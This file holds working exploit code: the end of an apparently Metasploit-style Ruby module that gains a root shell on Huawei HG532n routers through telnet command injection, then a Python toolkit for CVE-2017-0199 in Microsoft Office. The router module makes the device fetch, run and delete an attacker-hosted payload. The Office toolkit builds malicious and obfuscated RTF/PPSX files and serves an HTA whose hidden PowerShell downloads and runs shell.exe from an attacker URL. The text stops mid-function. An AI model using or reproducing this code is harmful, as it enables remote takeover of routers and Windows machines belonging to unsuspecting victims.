          'Proc' => proc { |cli, req| on_request_uri(cli, req) },
          'Path' => resource_uri
        }
      )
    end

    resource_uri
  end

  #
  # HTTP server incoming request callback
  #
  def on_request_uri(cli, _request)
    print_good "HTTP server received request. Sending payload to victim"
    send_response(cli, @pl)
  end

  #
  # Unfortunately we could not use the `echo' command stager since
  # the router's busybox echo does not understand the necessary
  # "-en" options. It outputs them to the binary instead.
  #
  # We could not also use the `wget' command stager, as Huawei
  # crafted their own implementation with much different params.
  #
  def download_and_run_payload(payload_uri)
    srv_host =
      if datastore['DOWNHOST']
        datastore['DOWNHOST']
      elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
        Rex::Socket.source_address(rhost)
      else
        datastore['SRVHOST']
      end

    srv_port = datastore['SRVPORT'].to_s
    output_file = "/tmp/#{rand_text_alpha_lower(8)}"

    # Check module documentation for the special wget syntax
    wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"

    execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
    execute_command("chmod 700 #{output_file}", /No such file/)
    execute_command(output_file, /not found/, background: true)
    execute_command("rm #{output_file}", /No such file/)
  end

  #
  # At the end of the module, especially for reverse_tcp payloads, wait for
  # the payload to connect back to us.  There's a very high probability we
  # will lose the payload's signal otherwise.
  #
  def wait_for_payload_session
    print_status "Waiting for the payload to connect back .."
    begin
      Timeout.timeout(datastore['ListenerTimeout']) do
        loop do
          break if session_created?
          Rex.sleep(0.25)
        end
      end
    rescue ::Timeout::Error
      fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
    end
    print_good "Payload connected!"
  end

  #
  # Main exploit code: login through web interface; port-forward router's
  # telnet; access telnet and gain root shell through command injection.
  #
  def exploit
    print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
    end

    print_good "Good. Router seems to be a vulnerable HG532n device"

    telnet_port = nil
    web_operation do |cookie|
      telnet_port = expose_telnet_port(cookie)
    end

    begin
      telnet_login(telnet_port)
      payload_uri = start_http_server
      download_and_run_payload(payload_uri)
      wait_for_payload_session
    ensure
      telnet_exit
      web_operation do |cookie|
        hide_exposed_telnet_port(cookie)
      end
    end
  end
end
            
#!/usr/bin/env python
'''

                                                        ## Exploit toolkit CVE-2017-0199 - v4.0 (https://github.com/bhdresh/CVE-2017-0199) ##

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41894.zip
'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo


BACKLOG = 50            # how many pending connections queue will hold
MAX_DATA_RECV = 999999  # max number of bytes we receive at once
DEBUG = True            # set to True to see the debug msgs
def main(argv):
    # Host and Port information
    global port
    global host
    global filename
    global docuri
    global payloadurl
    global payloadlocation
    global custom
    global mode
    global obfuscate
    global payloadtype
    filename = ''
    docuri = ''
    payloadurl = ''
    payloadlocation = ''
    custom = ''
    port = int("80")
    host = ''
    mode = ''
    obfuscate = int("0")
    payloadtype = 'rtf'

    # Capture command line arguments
    try:
        opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
    except getopt.GetoptError:
        print 'Usage: python '+sys.argv[0]+' -h'
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
                print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Office RCE)\n"
                print "Modes:\n"
                print " -M gen                                          Generate Malicious file only\n"
                print "             Generate malicious payload:\n"
                print "             -w <Filename.rtf/Filename.ppsx>     Name of malicious RTF/PPSX file (Share this file with victim).\n"
                print "             -u <http://attacker.com/test.hta>   The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.\n"
		print "                                                 For example, http://attacker.com/test.doc (This URL will be included in malicious file and\n"
                print "                                                 will be requested once victim will open malicious RTF/PPSX file.\n"
                print "             -t RTF|PPSX (default = RTF)         Type of the file to be generated.\n"
                print "             -x 0|1  (RTF only)                  Generate obfuscated RTF file. 0 = Disable, 1 = Enable.\n"
                print " -M exp                                          Start exploitation mode\n"
                print "             Exploitation:\n"
                print "             -t RTF|PPSX (default = RTF)         Type of file to be exolited.\n"
		print "             -H </tmp/custom>                    Local path of a custom HTA/SCT file which needs to be delivered and executed on target.\n"
                print "                                                 NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
		print "             -p <TCP port:Default 80>            Local port number.\n"
                print "             -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.\n"
                print "             -l </tmp/shell.exe>                 If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
                sys.exit()
        elif opt in ("-M","--mode"):
            mode = arg
        elif opt in ("-w", "--filename"):
            filename = arg
        elif opt in ("-u", "--docuri"):
            docuri = arg
        elif opt in ("-p", "--port"):
            port = int(arg)
        elif opt in ("-e", "--payloadurl"):
            payloadurl = arg
        elif opt in ("-l", "--payloadlocation"):
            payloadlocation = arg
	elif opt in ("-H","--custom"):
            custom  = arg
        elif opt in ("-x","--obfuscate"):
            obfuscate = int(arg)
        elif opt in ("-t","--payloadtype"):
            payloadtype = arg
    if "gen" in mode:
        if (len(filename)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if (len(docuri)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if (len(payloadtype)<1):
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        if payloadtype.upper() == 'RTF':
            if obfuscate == 1:
            	print "Generating obfuscated RTF file.\n"
            	generate_exploit_obfuscate_rtf()
            	sys.exit()
            if obfuscate == 0:
            	print "Generating normal RTF payload.\n"
            	generate_exploit_rtf()
            	sys.exit()
            sys.exit()
        if payloadtype.upper() == 'PPSX':
            print "Generating normal PPSX payload.\n"
	    generate_exploit_ppsx()
            sys.exit()
        if payloadtype.upper() != 'RTF' and payloadtype.upper() != 'PPSX':
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
        mode = 'Finished'
    if "exp" in mode:
        if payloadtype.upper() == 'RTF':
	    if (len(custom)>1):
	        print "Running exploit mode (Deliver Custom HTA) - waiting for victim to connect"
                exploitation_rtf()
	        sys.exit()
            if (len(payloadurl)<1):
                print 'Usage: python '+sys.argv[0]+' -h'
                sys.exit()
            if (len(payloadurl)>1 and len(payloadlocation)<1):
                print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"
                exploitation_rtf()
                sys.exit()
            print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"
            exploitation_rtf()
            mode = 'Finished'
	if payloadtype.upper() == 'PPSX':
	    if (len(custom)>1):
	        print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
                exploitation_ppsx()
	        sys.exit()
            if (len(payloadurl)<1):
                print 'Usage: python '+sys.argv[0]+' -h'
                sys.exit()
            if (len(payloadurl)>1 and len(payloadlocation)<1):
                print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
                exploitation_ppsx()
                sys.exit()
            print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
            exploitation_ppsx()
            mode = 'Finished'
        if not "Finished" in mode:
            print 'Usage: python '+sys.argv[0]+' -h'
            sys.exit()
def generate_exploit_rtf():
    # Preparing malicious RTF
    s = docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
    docuri_pad_len = 224 - len(docuri_hex)
    docuri_pad = "0"*docuri_pad_len
    uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    
    payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass Word.Document.8}\n"
    payload += "{\\*\\objdata 0105000002000000\n"
    payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
    payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
    payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
    payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
    payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
    payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += uri_hex+"\n"
    payload += "0105000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated "+filename+" successfully"



def generate_exploit_obfuscate_rtf():
    # Preparing malicious obfuscated RTF
    var1 = " "
    var2 = "\r\n"
    var3 = "\t"
    var4 = ''.join(choice(ascii_uppercase) for i in range(randint(3,10)))
    var5 = "{\*\\"+var4+"}"
    var6 = binascii.b2a_hex(os.urandom(15))
    #var6 = "0011002e1faa"
    s = docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
    docuri_pad_len = 224 - len(docuri_hex)
    docuri_pad = "0"*docuri_pad_len
    new_docuri_hex = docuri_hex.replace('00', '{\*\\'+var6+'}00')
    uri_hex = "010000020900000001000000000000000000000000000000a4000000"+"e"+var5*randint(0,10)+"0"+var5*randint(0,10)+"c"+var5*randint(0,10)+"9"+var5*randint(0,10)+"e"+var5*randint(0,10)+"a"+var5*randint(0,10)+"7"+var5*randint(0,10)+"9"+var5*randint(0,10)+"f"+var5*randint(0,10)+"9"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"c"+var5*randint(0,10)+"e"+var5*randint(0,10)+"1"+var5*randint(0,10)+"1"+var5*randint(0,10)+"8"+var5*randint(0,10)+"c"+var5*randint(0,10)+"8"+var5*randint(0,10)+"2"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"a"+var5*randint(0,10)+"a"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"4"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"9"+var5*randint(0,10)+"0"+var5*randint(0,10)+"b"+var5*randint(0,10)+"8c000000"+new_docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    
    payload = "{\\rtv0"+var1*randint(0,100)+"\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass \\'57\\'6f\\'72\\'64.Document.8}\n"
    payload += "{\\*\\objdata 0"+var2*randint(0,10)+var3*randint(0,10)+"1"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"5"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"2"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0\n"
    payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
    payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"

    payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
    payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
    payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
    payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
    payload += uri_hex+"\n"
    payload += "0105000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated obfuscated "+filename+" successfully"

def generate_exploit_ppsx():
# Preparing malicious PPSX
	shutil.copy2('template/template.ppsx', filename)
	class UpdateableZipFile(ZipFile):
	    """
	    Add delete (via remove_file) and update (via writestr and write methods)
	    To enable update features use UpdateableZipFile with the 'with statement',
	    Upon  __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
	    """

	    class DeleteMarker(object):
		pass

	    def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
		# Init base
		super(UpdateableZipFile, self).__init__(file, mode=mode,
		                                        compression=compression,
		                                        allowZip64=allowZip64)
		# track file to override in zip
		self._replace = {}
		# Whether the with statement was called
		self._allow_updates = False

	    def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
		if isinstance(zinfo_or_arcname, ZipInfo):
		    name = zinfo_or_arcname.filename
		else:
		    name = zinfo_or_arcname
		# If the file exits, and needs to be overridden,
		# mark the entry, and create a temp-file for it
		# we allow this only if the with statement is used
		if self._allow_updates and name in self.namelist():
		    temp_file = self._replace[name] = self._replace.get(name,
		                                                        tempfile.TemporaryFile())
		    temp_file.write(bytes)
		# Otherwise just act normally
		else:
		    super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
		                                            bytes, compress_type=compress_type)

	    def write(self, filename, arcname=None, compress_type=None):
		arcname = arcname or filename
		# If the file exits, and needs to be overridden,
		# mark the entry, and create a temp-file for it
		# we allow this only if the with statement is used
		if self._allow_updates and arcname in self.namelist():
		    temp_file = self._replace[arcname] = self._replace.get(arcname,
		                                                           tempfile.TemporaryFile())
		    with open(filename, "rb") as source:
		        shutil.copyfileobj(source, temp_file)
		# Otherwise just act normally
		else:
		    super(UpdateableZipFile, self).write(filename, 
		                                         arcname=arcname, compress_type=compress_type)

	    def __enter__(self):
		# Allow updates
		self._allow_updates = True
		return self

	    def __exit__(self, exc_type, exc_val, exc_tb):
		# call base to close zip file, organically
		try:
		    super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
		    if len(self._replace) > 0:
		        self._rebuild_zip()
		finally:
		    # In case rebuild zip failed,
		    # be sure to still release all the temp files
		    self._close_all_temp_files()
		    self._allow_updates = False

	    def _close_all_temp_files(self):
		for temp_file in self._replace.itervalues():
		    if hasattr(temp_file, 'close'):
		        temp_file.close()

	    def remove_file(self, path):
		self._replace[path] = self.DeleteMarker()

	    def _rebuild_zip(self):
		tempdir = tempfile.mkdtemp()
		try:
		    temp_zip_path = os.path.join(tempdir, 'new.zip')
		    with ZipFile(self.filename, 'r') as zip_read:
		        # Create new zip with assigned properties
		        with ZipFile(temp_zip_path, 'w', compression=self.compression,
		                     allowZip64=self._allowZip64) as zip_write:
		            for item in zip_read.infolist():
		                # Check if the file should be replaced / or deleted
		                replacement = self._replace.get(item.filename, None)
		                # If marked for deletion, do not copy file to new zipfile
		                if isinstance(replacement, self.DeleteMarker):
		                    del self._replace[item.filename]
		                    continue
		                # If marked for replacement, copy temp_file, instead of old file
		                elif replacement is not None:
		                    del self._replace[item.filename]
		                    # Write replacement to archive,
		                    # and then close it (deleting the temp file)
		                    replacement.seek(0)
		                    data = replacement.read()
		                    replacement.close()
		                else:
		                    data = zip_read.read(item.filename)
		                zip_write.writestr(item, data)
		    # Override the archive with the updated one
		    shutil.move(temp_zip_path, self.filename)
		finally:
		    shutil.rmtree(tempdir)
	
	with UpdateableZipFile(filename, "a") as o:
	    o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
	<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
	print "Generated "+filename+" successfully"


def exploitation_rtf():
 
    print "Server Running on ",host,":",port

    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # associate the socket to host and port
        s.bind((host, port))

        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # get the connection from client
    while 1:
        conn, client_addr = s.accept()

        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()

def server_thread(conn, client_addr):

    # get the request from browser
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
            # parse the first line
            first_line = request.split('\n')[0]
            
            # get method
            method = first_line.split(' ')[0]
            # get url
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from "+client_addr[0]
                conn.close()
                sys.exit(1)
 		# check if custom HTA flag is set
	    if (len(custom)>1):
                print "Received request for custom HTA from "+client_addr[0]
                try:
                    size = os.path.getsize(custom)
                except OSError:
                    print "Unable to read exe - "+custom
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n"
                with open(custom) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
		conn.close()
		sys.exit(1)
            check_exe_request = url.find('.exe')
            if (check_exe_request > 0):
                print "Received request for payload from "+client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read "+payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
            if method in ['GET', 'get']:
                print "Received GET method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
                conn.send(data)
                conn.close()
            if method in ['OPTIONS', 'options']:
                print "Receiver OPTIONS method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
                conn.send(data)
                conn.close()
            if method in ['HEAD', 'head']:
                print "Received HEAD method from "+client_addr[0]
